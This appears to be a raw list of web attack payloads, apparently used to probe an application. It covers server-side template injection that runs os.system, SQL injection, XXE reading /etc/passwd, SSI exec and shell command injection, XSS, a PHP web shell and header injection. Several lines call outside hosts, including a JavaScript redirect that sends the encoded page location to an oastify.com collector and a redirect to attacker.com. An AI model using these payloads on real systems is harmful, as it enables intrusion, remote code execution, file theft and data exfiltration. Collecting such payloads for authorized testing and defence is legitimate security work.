{{7*7}} {{2*2}}[[3*3]] ${6*6} @(6+5) {{config}} {{self.__class__.get_class.__globals__.__import__('os').system('ls')}} <h1>HTML</h1> HTML Bob aliceentry'>Image '+OR+'1'%3d'1'+-- '+UNION+SELECT+null,+null,+null+-- <!ENTITY+xxe+SYSTEM+"file%3a///etc/passwd"+>]> <beagle>%26xxe%3b</beagle> <!--%23include+file%3d'/etc/passwd'+--> <!--%23exec+cmd%3d'ls'+--> ;+ls+-la %3b+echo+'malicious_code' urpfe10j0kxqj97dsgshvliw2n8ewbk0.oastify.com window.location='https://u72kb153v89yiznb22dq3asd84ev2ntbi.oastify.com/js-scheme?'+btoa(document.location) <script>window.location='http://attacker.com'</script> <img+src%3d"x"+onerror%3d"alert('XSS')"> <%3fphp+echo+system($_GET['cmd'])%3b+%3f> <h1>Click Here !!!</h1> \r\nContent-Length:56485\r\n\r\n <script>alert(20)</script> 1ih6us%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ew35mx ss83047%2522%253balert%281%29%252f%252f378 aliceentry'>Image